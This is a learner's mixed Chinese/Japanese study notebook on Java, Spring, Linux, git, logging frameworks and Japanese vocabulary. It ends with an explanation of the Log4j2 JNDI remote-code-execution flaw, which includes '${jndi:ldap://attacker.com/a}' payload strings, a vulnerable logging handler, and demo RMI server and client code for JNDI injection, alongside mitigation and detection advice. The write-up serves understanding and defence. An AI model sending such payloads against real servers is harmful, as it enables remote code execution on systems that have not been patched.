1、RetentionPolicy.SOURCE:注解只保留在源文件,当Java文件编译成class文件的时候,注解被遗弃;
2、RetentionPolicy.CLASS:注解被保留到class文件,但jvm加载class文件时候被遗弃,这是默认的生命周期;
3、RetentionPolicy.RUNTIME:注解不仅被保存到class文件中,jvm加载class文件之后,仍然存在;
35.@Target(ElementType.TYPE)
1.CONSTRUCTOR:用于描述构造器
2.FIELD:用于描述域
3.LOCAL_VARIABLE:用于描述局部变量
4.METHOD:用于描述方法
5.PACKAGE:用于描述包
6.PARAMETER:用于描述参数
7.TYPE:用于描述类、接口(包括注解类型) 或enum声明
36.SpringBoot + MyBatis 之 Hello World
SpringBoot + MyBatis 之 Hello World_sun0322-CSDN博客
38.@MapperScan
【@MapperScan("com.sxz.test.one.mapper")】
39.@MapperScan和@ComponentScan
这两个注解是可以同时使用的。
0.首先了解@Mapper
在持久层的接口上添加@Mapper注解,编译后会生成相应的接口实现类,
但由于要在每个接口上都进行配置,
为了简化配置,所以产生了@MapperScan。
1.@MapperScan
@MapperScan 是扫描mapper类的注解,
在配置类中,使用@MapperScan注解之后,
就不用在每个,在持久层的接口上添加@Mapper注解
(等同与,对每个持久层的接口加了@Mapper注解)
2.@ComponentScan
会自动扫描包路径下的@Controller、@Service、@Repository、@Component类,
符合扫描规则的类会装配到spring容器中。
40.@Configuration
从Spring3.0,@Configuration用于定义配置类,
可替换xml配置文件,被注解的类内部包含有一个或多个被@Bean注解的方法,
而且在Spring4.0之后推荐我们使用。
这些方法将会被AnnotationConfigApplicationContext或AnnotationConfigWebApplicationContext类进行扫描,
并用于构建bean定义,初始化Spring容器。
41.@Configuration标记得类加载方式
@Configuration标记得类加载方式_阿肯那顿的博客-CSDN博客
SpringBoot默认会扫描【启动类】 同包以及子包下的注解
(把被【@Configuration】标记的类、所在包、的路径、纳入scanBasePackages,这样就进入了Spring的扫描范围)
42.SpringBatch tasklet
SpringBatch启动流程
SpringBatch启动流程_shaoyangdd的专栏-CSDN博客
一般写一个含main有方法的【启动类】(AppStart.java),
・放在包的最外层
・使用@SpringBootApplication注解
・调用SpringApplication.run(AppStart.class , args);
・生成jar包
・启动 java -jar xxx.jar --spring.batch.job.names="xxxx"
43.incrementer // 增量器
44.TaskLet
@Configuration
@EnableBatchProcessing
public class TaskletsConfig {
@Autowired private JobBuilderFactory jobBuilderFactory
@Autowired private StepBuilderFactory stepBuilderFactory;
@Bean
protected Job xxxBatchStart() {
}
@Bean
protected Step xxxStep() {
}
@Bean
protected XxxxTaskLet xxxxTaskLet() {
}
}
45.withNano // LocalDateTime
46.TimeUnit.SECONDS.sleep(10)
// 原来是对Thread.sleep方法的包装,实现是一样的,只是多了时间单位转换和验证
47.join() sleep() wait()
・join()
这个方法比较好理解,当前线程等待指定线程终止后在执行,将两个交替执行的线程合并为顺序执行的线程
・sleep()
Thread静态方法,强制当前线程休眠.当休眠时间到期后恢复到可运行状态.不一定会立即执行,具体取决于线程调度器.
・wait()
wait()一般都是配合notify()和notifyAll()一起使用,并且他们都是java.lang.Object的方法.
wait()方法是使当前线程,进入到一个和对象相关的等待池中,同时失去对象的锁,其他线程可以访问.
wait()方法通过notify(),notifyAll(),或者指定超时时间来唤醒当前等待池中线程.
wait()必须用在synchronized代码块中,否则会抛出异常.
48.サイジング 【英】siaing ;涂胶,施胶,纸张上胶。
49.サイジング sizing 規模
50.vi编写代码时,文件末尾会多一个换行符
尝试解决 (未执行)
将以下命令添加到您的.vimrc中,以结束行尾选项:
autocmd FileType php set bin noeol
autocmd FileType php setlocal noeol binary fileformat=dos
1.where is cp
/user/bin/cp
/bin/cp
在linux下我们经常用到的四个应用程序的目录是:/bin、/sbin、/usr/bin、/usr/sbin
/bin: 是系统的一些指令.
/sbin: 一般是指超级用户指令.
/usr/bin: 是你在后期安装的一些软件的运行脚本.
2.args
// 加-i 参数直接用 {}就能代替管道之前的标准输出的内容
find /AAA/BBB/CCC/ -maxdepth 1 -type f | xargs -i cp {} /Work/Back
find /AAA/BBB/CCC/ -maxdepth 1 -type f | xargs -i sudo cp {} /Work/Back
find /AAA/BBB/CCC/ -maxdepth 1 -type f | grep -e ".yml$" | xargs -i sudo cp {} /Work/Back
3.mv -f
4.【`】
xxx.log`date +%Y%m%d`
// date 后面有空格
5.gunzip
(tar -zxvf xxx.gz時、これはtarアーカイブではにようです。)
6.LANG // Linux 英语显示
LANG=C tar -zxvf xxx.gz
(tar: This does not look like a tar archive.)
7.メンション 成员 // Teams で @メンションを使って注意を引く
8.sudo apt -y install language-pack-ja // ubuntu linux language package
9.HULFT // utlivpdt -f
【公式】管理情報パラメータファイル生成コマンド
10.pa -aux | grep hul
../bin/hulrcvd
../bin/hulsendd
【公式】集信システムの起動コマンド
11.utladmin // HULFT処理選択メニュー
12.集信 しゅうしん // HULFT ←
13.配信 はいしん // HULFT →
14.気遣い きづかい // 1.担心,挂虑;不放心。
15.黄緑(きみどり) // #ECF4D9 C10Y20: #B6D56A C35Y70
16.tar: 空のアーカイブ作成はご容赦願います。
「tar: 空のアーカイブ作成はご容赦願います」というエラーについて – エコテキブログ
17.tar: メンバ名から先頭の `/’ を取り除きます
Linuxでtarを使ってファイルをバックアップする。 – 日々、コレ勉強
虽然这是一个标准错误输出,但是对生成的成果物没有任何影响!
アーカイブしたときに「tar: メンバ名から先頭の `/’ を取り除きます」のメッセージが出力されています。
これはルートディレクトリを表す先頭の「/」をコマンドが自動的に削除したことを示しています。
18.シンクラ
シンクライアント // 【英】Thin Client ;指的是在客户端-服务器网络体系中的一个基本无需应用程序的计算机终端。
(クライアントサーバーシステムを構成するクライアント側のコンピューターうち、
最低限の機能のみを有する低価格のコンピューターを指す。
サーバーがアプリケーションソフトやデータなどを管理するため、
クライアント側のコンピューターの運用・管理のコストを抑えることができる。)
19.monitor定义 // java
・什么是Monitor?
1.Monitor是一种用来实现同步的工具
2.与每个java对象相关联,即每个java对象都有一个Monitor与之对应
3.Monitor是实现Sychronized(内置锁)的基础
・Monitor具体现的 // java
1.Monitor是在jvm底层实现的,底层代码是c++
2.Monitor的enter方法:获取锁
3.Monitor的exit方法:释放锁
4.Monitor的wait方法:为java的Object的wait方法提供支持
5.Monitor的notify方法:为java的Object的notify方法提供支持
6.Monitor的notifyAll方法:为java的Object的notifyAll方法提供支持
・Monitor相关的方法 // java
public final native notify();
public final native notifyAll();
publeic final wait() throws InterruptedException {wait (0);}
publeic final native wait(long timeout) throws InterruptedException();
・monitor 锁的释放
wait会释放锁,sleep不会释放锁
20.native // Java // JNI,Java Native Interface
Java平台有个用户和本地C代码进行互操作的API,称为Java Native Interface (Java本地接口)。
// native [ˈneɪtɪv] // n.当地人;本国人;当地居民 // adj. 自然的;本国的;与生俱来的
public native int hashCode();
Java中Native关键字的作用 - 萌小Q - 博客园
使用native关键字说明这个方法是原生函数,
也就是这个方法是用C/C++语言实现的,并且被编译成了DLL,由java去调用。
这些函数的实现体在DLL中,JDK的源代码中并不包含,你应该是看不到的。对于不同的平台它们也是不同的。
这也是java的底层机制,实际上java就是在不同的平台上调用不同的native方法实现对操作系统的访问的。
21.容量確認
du -h フォルダー
cd /AA/UserGroup/
〇 find ./ -maxdepth 1 -type d | grep sss | xargs du -sh
// sss 是文件夹名字包含的内容。(sss001,sss002)
× find ./ -maxdepth 1 -type d | xargs du -sh
// 无法看到每个文件夹,看到的是整体
〇 find ./ -maxdepth 1 -type d
× find ./ -type d -maxdepth 1 // 有警告
22.おわり・おしまい ⇒ 終わり・お終い
おわり 来自于动词 おわる的连用形,还可以表示最后,死亡,这是おしまい没有的意思。
おしまい来自于 しまう的连用形,并且接了お表示礼貌。
23.git Reset 三种模式
今天使用使用git merge 代码,报错了,merge失败,
使用git的Reset功能恢复(选择第一个)没有成功。 (工程文件夹右侧,显示 【マージ済み (merge完了)】branchm名)
选择第三个成功。
1.git reset --soft
2.git reset --mixed
3.git reset --hard
git reset 的三种模式的使用场景_雕牌咸鱼的博客-CSDN博客_git reset 三种模式
===
3.git reset --hard
git reset --hard HEAD^ 回退到上个版本
git reset --hard HEAD~3 回退到前3次提交之前,以此类推,回退到n次提交之前
git reset --hard commit_id 退到/进到,指定commit的哈希码(这次提交之前或之后的提交都会回滚)
24.・获取计算机登录用户名 // VBA
MsgBox Environ("username")
25.サスペンド suspend;暂停、挂起
26.Git相关知识
GIT命令行的一些基本操作_sun0322-CSDN博客
27.rejected 英 [rɪˈdʒɛkt; ˈriːdʒɛkt] // adj. 被拒的;不合格的 // git merge
28.If a fast-forward, create a merge commit // Eclipse Git Merge
427159 – Cannot force a merge commit (git merge --no-ff)
29. conflict 英[kənˈflɪkt] // 冲突; 争执; 争论; // git merge 競合
30.squash 英 [skwɒʃ] 美 [skwɔʃ] スカッシュ // git merge 选项 (多个版本一次提交)
n. 壁球;果汁饮料;南瓜属植物;拥挤
v. 把…压扁;受挤压;挤入;镇压;使沉默
GIT命令行的一些基本操作_sun0322-CSDN博客
31.merge 英 [mɜːdʒ] 合并;融合 // git merge
32.レトロ【英】retrospective ;复古的,怀旧的
33.レトロフィット // 「Retroactive refit」
旧式の機械を改造して性能改善、新機能追加等の改良を行うこと。
(古くなった、あるいは劣化した機械や装置を改造して新式の技術を組み込むこと。)
34.retro 英 [ˈrɛtrəʊ] adj. 复古的 n. 制动火箭;重新流行;复古
35.refit 英 [riːˈfɪt] n. 整修,改装
36.【日本語】 注意点「001」
前言,想表达,这个文件是被别人修改过了。
×:リハーサル実施前に、xxファイル既に変更しました。 // 有 我修正的含义
〇:リハーサル実施前に、xxファイル既に変更されました。 // 被别人修正(没有特指我修正的含义)
37.issue [ˈɪʃu:] //GitHub 事务卡片(Issues)
n. 流出;问题;期,号;发行物
v. 流出;放出,排出;造成…结果;发放;发行;发布
4-使用GitHub(Github Issue)及基本概念实战_时光的博客-CSDN博客_github issue
GitHub(九):掌握 Issues_来自江南的你的博客-CSDN博客_issues
Issues(问题单)是一种伟大的工作方式,它用于对项目进行跟踪、增强和排错。
它们就像电子邮件一样 —— 除了它们可以与团队的其他成员进行分享和讨论。
大多数软件项目都会有某种错误跟踪器,
GitHub 的错误跟踪器称为“Issues”,并且在每个仓库中都有自己的 Issues 部分。
38.insight Insights [ˈɪnˌsaɪt] //GitHub n. 洞察力;洞悉
39.查看整体Merge情况
选择【你的开发工程的repository】 ⇒ Insights ⇒ Network
40.仓库(repository) [rɪˈpɒzɪtərɪ] n. 贮藏室;图书馆,博物馆;博学者;智囊团
41.linux .gz // 使用gzip命令压缩, gunzip命令解压缩
42.SpringBoot @Value 设置默认值,解决key不存在造成启动报错
没有默认值
@Value("${name}")
private String name;
设定默认值
@Value("${name:bob}")
private String name;
43.Linux中的压缩文件
tgz // tar -cvzf
gz // gzip
44.Linux umount(英文全拼:unmount)命令用于卸除文件系统。
umount可卸除目前挂在Linux目录中的文件系统。
umount [-ahnrvV][-t <文件系统类型>][文件系统]
umount /AAA/BBBB/CCC
45.mount 英 [maʊnt]
n. 坐骑;底座;山
v. 爬上;骑上;安装;镶嵌;准备上演,举办;组织,发起;增加;加剧;上升
46.回调函数
张三跟女朋友吃完饭,对女朋友说到家记得发短信告诉我,女朋友然后回到家之后,给张三说:我到了,请放心。这个发短信这个事是提前说好的,这个动作就是回调函数。
//boy为主函数,girl函数作为参数传到boy中,girl就是我们所说的回调函数
function boy(girl, myName){
alert('回到家记得告诉我')
alert('女孩回家路上')
girl(myName)
}
// girl就是我们所说的回调函数
function girl(boyname){
alert(boyname + '我回到家了')
}
boy(girl,"张三")
47.递归函数
简单说,递归就是一次次的调用自身,当满足某个条件时,递归结束。
48.回调函数 // Java 例子
深入理解Java回调函数_Andy-CSDN博客_java回调函数
满足回调的两个基本条件:
1.Class A调用Class B中的X方法
2.ClassB中X方法执行的过程中调用Class A中的Y方法完成回调
===
/**
* @description 该类用来模拟总经理
*/
public class Manager {
/**
* @param personnel
* 传入一个员工类的对象
*/
public Manager(Personnel personnel) {
// 想让该让员工做什么
personnel.doSomething(this, "整理公司文件");
}
/**
* @description 当员工做完总经理让他做的事后就通过该方法通知总经理
* @param result
* 事情结果
*/
public void phoneCall(String result) {
System.out.println("事情" + result);
}
}
/**
* @description 该类用来模拟员工
*/
public class Personnel {
public void doSomething(Manager manager, String task) {
// 总经理通过doSomething方法告诉员工要做什么
System.out.println("总经理要你做" + task);
String result = "做完了";
// 当事情做完了我们就通过总经理公布的phoneCall方法通知总经理结果
manager.phoneCall(result);
}
}
package com.test;
public class Main {
public static void main(String[] args) {
// 首先我们需要一个员工
Personnel personnel = new Personnel();
// 其次把这个员工指派给总经理
new Manager(personnel);
}
}
49.
50.
1.行方 ゆくえ
XXX(フォルダ)行方不明
(サーバーの共有フォルダXXX、なくになりました。)
2.MM/DD XXX会議押さえました。
(上下文:有内容想确认,什么时候确认,讨论之后,在 [MM/DD XXX会議]的时候确认。
这是一个定期的会议,每次会议讨论的内容不固定,是对近期发生的事情的一些讨论)
押さえる
1.压,摁,按。
2.堵住,捂。
3.抓住,捉住。
4.抓住(要点),认识,理解。
5.确保,掌握,控制。
3.Comparator.comparing().thenComparing()
// comparing 和 thenComparing 两个方法的返回类型都是 Comparator
List collect1 = list1.stream()
.sorted(Comparator.comparing(Student::getSex)
.thenComparing(FollowIMSI::getAge).reversed())
.collect(Collectors.toList());
参考1
Java8 lambda表达式,Comparator.comparing().thenComparing()报错_蛋壳城堡-CSDN博客
参考2
JAVA8 Stream之Sort排序comparing 和thenComparing_YoungLee16的博客-CSDN博客_thencomparing
4.信じ切れていない
動詞ます形【去掉ます】+切る/切れる/切れない
意味:
(1)把某动作从头到尾彻底地做完。【切れる/切れない】是【切る】的能动词,表示有或者没有能力全部做完。“(不能)全部......”、“(不能)彻底......”。
例子:
1、二人で冷蔵庫にあるビールを全部飲み切ってしまった。/两个人把冰箱里的啤酒喝了个精光。
2、今日までで、すべての借金を返し切って、ほっとした。/到今天为止,还清了所有的借款,终于松了口气。
3、たった一回の授業では、とてもこの本の内容を説明し切れない。/仅仅上了一次课的话,这本书的内容怎么也说不完。
5.シナリオ単位:划分方式 // 测试
①安装数据的投入,抽出,发送
②按天
③按照 batch 的日程(スケジュール)
③
---
day1:上午, 在XXX系统上进行操作,投入数据
day2:凌晨,「使用day1的夜间batch」抽出XXX系统的数据
---
day2:上午,「使用day2的日间batch」向下流系统,发送之前抽出的数据
day2:上午,在XXX系统上进行操作,再次投入数据
day3:凌晨,「使用day2的夜间batch」抽出XXX系统的数据
---
day3:上午,「使用day3的日间batch」向下流系统,发送之前抽出的数据
6.一応 // 大致,大体;首先;暂且。
// ひとまずのところは。ひととおり。
// 大致。姑且。暂且。一次。一下。
一応の調べはついた。
大致调査清楚了。
一応そういうことに決めておきましょう。
暂且那么决定吧。
一応調べてみよう。
先査一下看看。
7.ls时,显示文件夹全路径
ls -l -d /AAA/BBB/ccc
// ccc 是文件夹名
×: ls -l /AAA/BBB/ | grep "ccc"
〇: ls -l -d /AAA/BBB/ccc
8.フォールバック 后退;退却 fallback
フォールバック(fallback)は「機能や性能を制限して動かすこと」です。
9.rollback (价格或工资等的)下跌,回落; (情形、法律等的)回复,恢复; // 数据库回滚
10.rollback 与 fallback 区别
roll back向后滚动
fall back后退、撤退
例句:
The car began to roll back down the hill.
汽车开始倒着往山下滑。
The enemy fell back as our troops advanced.
我军部队挺进,敌军向后撤退。
11.ミドルウェア middleware (计算机用语)中间件
12.hush値一覧、快速取得 // powershell
ls -file
ls -file | get-filehash -Algorithm Md5
ls -file | get-filehash -Algorithm Md5 | format-list
13.tcpdump // Linux
tcpdump 是一个运行在命令行下的抓包工具。它允许用户拦截和显示发送或收到过网络连接到该计算机的TCP/IP和其他数据包。
(像 windows下的WinPcap。)
1、抓取回环网口的包:tcpdump -i lo
2、防止包截断:tcpdump -s0
3、以数字显示主机及端口:tcpdump -n
超级详细Tcpdump 的用法 - 麦峰强 - 博客园
===
tcpdump -i any dst host aa.bbb.ccc.com -s0 -A
tcpdump -i any dst host aa.bbb.ccc.com -s0 -A
tcpdump –i eth0 ’port 1111‘ -X -c 3
抓包工具tcpdump用法说明 - 骏马金龙 - 博客园
-i interface:指定tcpdump需要监听的接口。若未指定该选项,
将从系统接口列表中搜寻编号最小的
已配置好的接口(不包括loopback接口,
要抓取loopback接口使用tcpdump -i lo),
一旦找到第一个符合条件的接口,
搜寻马上结束。
可以使用'any'关键字表示所有网络接口。
-s len:设置tcpdump的数据包抓取长度为len,如果不设置默认将会是65535字节。
对于要抓取的数据包较大时,长度设置不够可能会产生包截断,若出现包截断,
输出行中会出现"[|proto]"的标志(proto实际会显示为协议名)。
但是抓取len越长,包的处理时间越长,并且会减少tcpdump可缓存的数据包的数量,
从而会导致数据包的丢失,所以在能抓取我们想要的包的前提下,抓取长度越小越好。
-A Print each packet (minus its link level haeader) in ASCII. Handy for capturing web pages.
===
14.tcpdump 真正强大的地方。一共有三类主要的表达式:类型、方向和协议。
tcpdump 教程及入门示例 – 永在路上
类型选项有主机、网络和端口。方向由关键字 dir 表示,
可以有以下表达式
・src
・dst
・src or dst
・src and dst
//查找从目标发出的流量(忽略会话的另一方)
tcpdump dst 3.4.5.6
ーー
src //查找从源发出的流量(忽略会话的另一方)
tcpdump src 2.3.4.5
15.DST = 目标主机
Destination Host
16.Destination [ˌdestɪˈneɪʃn] // 目的地; 终点;
17.伝播 でんぱ // トランザクション の propagation(传播) // @Transactional(propagation = Propagation.REQUIRED)
18.電波 でんぱ
19.排他 はいた // DeadLock発生の原因の一つ
20.DeadLock
1. セッション1で「テーブル1」をロックする
2. セッション2で「テーブル2」をロックする
3. セッション1で「テーブル2」にUPDATE文を発行する
4. セッション2で「テーブル1」にUPDATE文を発行する
・セッション1から「テーブル2」にUPDATE文を発行するとセッション2の排他ロックにより待機状態となり、
その後
・セッション2から「テーブル1」にUPDATE文を発行したタイミングで⇒【デッドロック】が検出されます。
1.单词・文法
2.听
3.读 // 很重要!!!
・读文章
・背诵好的句子,文章
・跟读(复述)广播中的句子
22.GitHub使用 // 查看提交履历
github选择branch后,看到的是最后一次提交代码的履历。
如果想看全部履历,点击【commits】
(【commits】的位置在 最后一次履历条的 右侧)
// logback是slf4j的原生实现框架
●简介
意思为简单日志门面,它是把不同的日志系统的实现进行了具体的抽象化,
只提供了统一的日志使用接口,使用时只需要按照其提供的接口方法进行调用即可,
由于它只是一个接口,并不是一个具体的可以直接单独使用的日志框架,
(一般来说,slf4j配合log4j、logback进行使用,可以理解为slf4j是标准,
log4j和logback是实现,我们可以根据自己的需求进行选择具体的日志系统)
所以最终日志的格式、记录级别、输出方式等都要通过接口绑定的具体的日志系统来实现,
这些具体的日志系统就有log4j,logback,java.util.logging等,它们才实现了具体的日志系统的功能。
●使用(结合日志系统使用)
SLF4J和Logback日志框架详解_chszs的专栏-CSDN博客_slf4j和logback
如何使用SLF4J?
既然SLF4J只是一个接口,那么实际使用时必须要结合具体的日志系统来使用:
(各种结合使用)
===
・SLF4J和logback结合使用时需要提供的jar:slf4j-api.jar,logback-classic.jar,logback-core.jar
・SLF4J和log4j结合使用时需要提供的jar:slf4j-api.jar,slf4j-log412.jar,log4j.jar
・SLF4J和JDK中java.util.logging结合使用时需要提供的jar:slf4j-api.jar,slf4j-jdk14.jar
・SLF4J和simple(SLF4J本身提供的一个接口的简单实现)结合使用时需要提供的jar:slf4j-api.jar,slf4j-simple.jar
===
●架构关系说明 (log4j-over-slf4j)
log4j-over-slf4j工作原理详解_johnhuster的专栏-CSDN博客_log4j-over-slf4j
●slf4j
其实slf4j原理很简单,他只提供一个核心slf4j api(就是slf4j-api.jar包),
这个包只有日志的接口,并没有实现,
所以如果要使用就得再给它提供一个实现了些接口的日志包
●logback
官方网站: http://logback.qos.ch。
logback-core:下面两个模块的基础模块
logback-classic:它是log4j的一个改良版本,同时它完整实现了slf4j API使你可以很方便地更换成其它日志系统如log4j或JDK14 Logging
logback-access:访问模块与Servlet容器集成提供通过Http来访问日志的功能
●logback配置
(logback.xml)
(logback-spring.xml // springboot框架时)
src/main/resources/logback.xml
logback的使用和logback.xml详解 - 行走在云端的愚公 - 博客园
・根节点
・子节点
name指定appender名称,class指定appender的全限定名
ch.qos.logback.core.ConsoleAppender
(配置文件几乎和log4j差不多。选择需要的appender就可以了。)
●logback配置文件的加载
只要把logback或者log4j放在【src/main/resources/】 下,容器就可以自动加载日志文件。
●logback日志轮替
子节点
ch.qos.logback.core.rolling.rolling.TimeBasedRollingPolicy
●log4jp配置
log4j的正常运行需要配置文件,配置文件类型:log4j配置文件可以是log4j.xml也可以是log4j.properties。
log4j:WARN Please initialize the log4j system properly.
●代码
同为slf4j的api,代码相同。
●Java Log4j和Log4j2的区别-----Start
・如果在我们系统中单独使用log4j的话,我们只需要引入log4j的核心包就可以了,我这里用的是:log4j-1.2.17.jar,然后在系统中使用如下代码输出日志:
・如果在我们系统中单独使用log4j2的话,我们只需要引入log4j2的核心包就可以了,我这里用的是:log4j-api-2.7.jar和log4j-core-2.7.jar,然后在系统中使用如下代码输出日志:
private static org.apache.logging.log4j.Logger logger = org.apache.logging.log4j.LogManager.getLogger(Log4jTest.class);
区別①
log4j核心包:
log4j:log4j:[version]
=====
log4j-1.2.17.jar
=====
log4j2的核心包有2个:
org.apache.logging.log4j:log4j-core:[version]
org.apache.logging.log4j:log4j-api:[version]
=====
log4j-api-2.11.1.jar
log4j-core-2.11.1.jar
=====
org.apache.logging.log4j
log4j-api
2.5
org.apache.logging.log4j
log4j-core
2.5
区別②
获取Logger的api不一样,
log4j的 api 为org.apache.log4j.Logger,
而log4j2的 api 为org.apache.logging.log4j.Logger
区別③①
slf4j+log4j
如果我们在系统中需要使用slf4j和log4j来进行日志输出的话,我们需要引入下面的桥接jar包:
log4j核心jar包:log4j-1.2.17.jar
slf4j核心jar包:slf4j-api-1.6.4.jar
slf4j与log4j的桥接包:slf4j-log4j12-1.6.1.jar,这个包的作用就是使用slf4j的api,但是底层实现是基于log4j.
private static final Logger logger = LoggerFactory.getLogger(Slf4jTest2.class);
区別③②
slf4j+log4j2
如果我们在系统中需要使用slf4j和log4j2来进行日志输出的话,我们需要引入下面的jar包:
log4j2核心jar包:log4j-api-2.7.jar和log4j-core-2.7.jar
slf4j核心jar包:slf4j-api-1.6.4.jar
slf4j与log4j2的桥接包:log4j-slf4j-impl-2.7.jar,这个包的作用就是使用slf4j的api,但是底层实现是基于log4j2.
区別④
log4j普遍使用xml进行配置
log4j及其log4j2的使用 - shawWey - 博客园
●Java Log4j和Log4j2的区别-----End
●Apache Log4j2 远程代码执行漏洞分析
Apache Log4j2 远程代码执行漏洞分析+检测+防护_超人安全院的博客-CSDN博客
・原因
Apache Log4j2某些功能存在递归解析功能,未经身份验证的攻击者通过发送特别构造的数据请求包,可在目标服务器上执行任意代码
・OSS jar
若在dependencies部分存在org.apache.logging.log4j相关字段,且版本号为小于2.15.0,则存在该漏洞。
・临时防护
JVM 参数添加 -Dlog4j2.formatMsgNoLookups=true
log4j2.formatMsgNoLookups=True
系统变量:FORMAT_MESSAGES_PATTERN_DISABLE_LOOKUPS 设置为true
・JNDI (使用JND进行攻击)
Java命名和目录接口(Java Naming and Directory Interface,缩写JNDI),
是Java的一个目录服务应用程序接口(API),它提供一个目录系统,并将服务名称与对象关联起来,
从而使得开发人员在开发过程中可以使用名称来访问对象。
我鮳,Log4j2突发重大漏洞,我们也中招了。。_沉默王二-CSDN博客
●JNDI漏洞
利用下面这段代码,攻击者可以通过JNDI来执行LDAP协议来注入一些非法的可执行代码。
public class VulnerableLog4jExampleHandler implements HttpHandler {
static Logger log = Logger.getLogger(log4jExample.class.getName());
/**
* A simple HTTP endpoint that reads the request's User Agent and logs it back.
*
* This is basically pseudo-code to explain the vulnerability, and not a full example.
*
* @param he HTTP Request Object
*/
public void handle(HttpExchange he) throws IOException {
String userAgent = he.getRequestHeader("user-agent");
// This line triggers the RCE by logging the attacker-controlled HTTP User Agent header.
// The attacker can set their User-Agent header to: ${jndi:ldap://attacker.com/a}
log.info("Request User Agent:" + userAgent);
String response = "Hello There, " + userAgent + "!
";
he.sendResponseHeaders(200, response.length());
OutputStream os = he.getResponseBody();
os.write(response.getBytes());
os.close();
}
}
JNDI漏洞 具体说明//https://github.com/apache/pulsar/issues/13232
===
Logback是由log4j创始人设计的另一个开源日志组件,官方网站: http://logback.qos.ch。它当前分为下面下个模块:
logback-core:其它两个模块的基础模块
logback-classic:它是log4j的一个改良版本,同时它完整实现了slf4j API使你可以很方便地更换成其它日志系统如log4j或JDK14 Logging
logback-access:访问模块与Servlet容器集成提供通过Http来访问日志的功能
===
24.雛型 ひながた
■(log4j2)漏洞起因
我们经常会在日志中输出一些变量,比如:
logger.info("client ip: {}", clientIp)
假如现在想要通过日志输出一个Java对象,
但这个对象不在程序中,而是在其他地方,
比如可能在某个文件中,甚至可能在网络上的某个地方,这种时候怎么办呢?
log4j2的强大之处在于,除了可以输出程序中的变量,它还提供了一个叫Lookup的东西,可以用来输出更多内容:
■lookup
lookup,顾名思义就是查找、搜索的意思,那在log4j2中,就是允许在输出日志的时候,通过某种方式去查找要输出的内容。
lookup相当于是一个接口,具体去哪里查找,怎么查找,就需要编写具体的模块去实现了,类似于面向对象编程中多态那意思。
■JNDI
Java Naming and Directory Interface(JAVA命名和目录接口)
它提供一个目录系统,并将服务名称与对象关联起来,从而使得开发人员在开发过程中可以使用名称来访问对象。
简单粗暴理解:
有一个类似于字典的数据源,你可以通过JNDI接口,传一个name进去,就能获取到对象了。
■JNDI使用
那不同的数据源肯定有不同的查找方式,所以JNDI也只是一个上层封装,在它下面也支持很多种具体的数据源。
(LDAP、DNS、NIS、NDS、RMI、CORBA)
■LDAP
・LDAP:(Lightweight Directory Access Protocol) 轻量目录访问协议
LDAP的基本概念:
主要用于访问目录服务 用户进行连接、查询、更新远程服务器上的目录。
LDAP稍微详细说明
===
Lightweight Directory Access Protocol(轻量级目录访问协议),
目录是一个为查询、浏览和搜索而优化的专业分布式数据库,它呈树状结构组织数据,
就好象Linux/Unix系统中的文件目录一样。目录数据库和关系数据库不同,
它有优异的读性能,但写性能差,
并且没有事务处理、回滚等复杂功能,
不适于存储修改频繁的数据。所以目录天生是用来查询的,就好像它的名字一样。
===
简单粗暴理解:
有一个类似于字典的数据源,你可以通过LDAP协议,传一个name进去,就能获取到数据。
■(log4j2)漏洞原理(举例)
某一个Java程序中,将浏览器的类型记录到了日志中:
String userAgent = request.getHeader("User-Agent");
logger.info(userAgent)
这其中,User-Agent就属于外界输入的信息,而不是自己程序里定义出来的。只要是外界输入的,就有可能存在恶意的内容。
假如有人发来了一个HTTP请求,他的User-Agent是这样一个字符串:
---
${jndi:ldap://127.0.0.1/exploit}
---
接下来,log4j2将会对这行要输出的字符串进行解析。
首先,它发现了字符串中有 ${},知道这个里面包裹的内容是要单独处理的。
进一步解析,发现是JNDI扩展内容。
再进一步解析,发现了是LDAP协议,LDAP服务器在127.0.0.1,要查找的key是exploit。
最后,调用具体负责LDAP的模块去请求对应的数据。
如果只是请求普通的数据,那也没什么,但问题就出在还可以请求Java对象!
Java对象一般只存在于内存中,但也可以通过序列化的方式将其存储到文件中,或者通过网络传输。
■Naming References
如果是自己定义的序列化方式也还好,
但更危险的在于:JNDI还支持一个叫命名引用(Naming References)的方式,
可以通过远程下载一个class文件,然后下载后加载起来构建对象。
■【注意,这里就是核心问题了】
---
JNDI可以远程下载class文件来构建对象!!!
---
■(log4j2)攻击实现
1.攻击者向漏洞服务器发起攻击请求。
(通过Log4j2记录攻击请求中,使用JNDI・LDAP加载恶意的代码${jndi:ldap://attacker.com/a}。 (attacker.com是攻击者控制的服务))
2.服务器通过JNDI向attacker.com请求 ,此时,恶意类会被加载触发
(黑客在自己的服务器上,构造LDAP服务,返回一个构造的恶意类)
3.attacker.com就可以在响应中添加一些、恶意的、可执的类,注入到服务器进程中。
( 例如可执行的字节码http://attacker.com/Exploit.class )
被攻击的服务器:响应恶意类,恶意类在服务器端执行
■jndi:ldap
log.error("${jndi:ldap://attacker.com/a}");
■jndi:rmi
log.error("${jndi:rmi://127.0.0.1:1099/xxxx}");
问:
这个1099是谁的端口 public class Poc { private static final Logger log = LogManager.getLogger(); public static void main(String[] args) { log.error("${jndi:rmi://127.0.0.1:1099/xxxx}"); } }
答:
是LDAP或RMI的地址后缀,需要自己搭建LDAP或RMI服务。
■漏洞检测
企业可以通过监测相关流量或者日志中是否存在**“jndi:ldap://”、“jndi:rmi”**等字符来发现可能的攻击行为。
(log4j2)漏洞-----------------------End
JNDI注入基础 - 洋洋的小黑屋 - 博客园
(被攻击者)客户端(服务器)代码
(使用log4j2时,可以注入进行执行。)
import javax.naming.Context;
import javax.naming.InitialContext;
import javax.naming.NamingException;
public class Client {
public static void main(String[] args) throws NamingException {
String uri = "rmi://127.0.0.1:1099/hello";
Context ctx = new InitialContext();
ctx.lookup(uri);
}
}
--
(黑客)服务器端代码
import com.sun.jndi.rmi.registry.ReferenceWrapper;
import javax.naming.Reference;
import java.rmi.registry.LocateRegistry;
import java.rmi.registry.Registry;
public class Server {
public static void main(String[] args) throws Exception {
Registry registry = LocateRegistry.createRegistry(1099);
Reference aa = new Reference("Calc", "Calc", "http://127.0.0.1:8081/");
ReferenceWrapper refObjWrapper = new ReferenceWrapper(aa);
registry.bind("hello", refObjWrapper);
}
}
此类编译时,有警告
1_RMI> javac '.\Server.java'
.\Server.java:2: 警告: ReferenceWrapper是内部专用 API, 可能会在未来发行版中删除
import com.sun.jndi.rmi.registry.ReferenceWrapper;
^
.\Server.java:11: 警告: ReferenceWrapper是内部专用 API, 可能会在未来发行版中删除
ReferenceWrapper refObjWrapper = new ReferenceWrapper(aa);
^
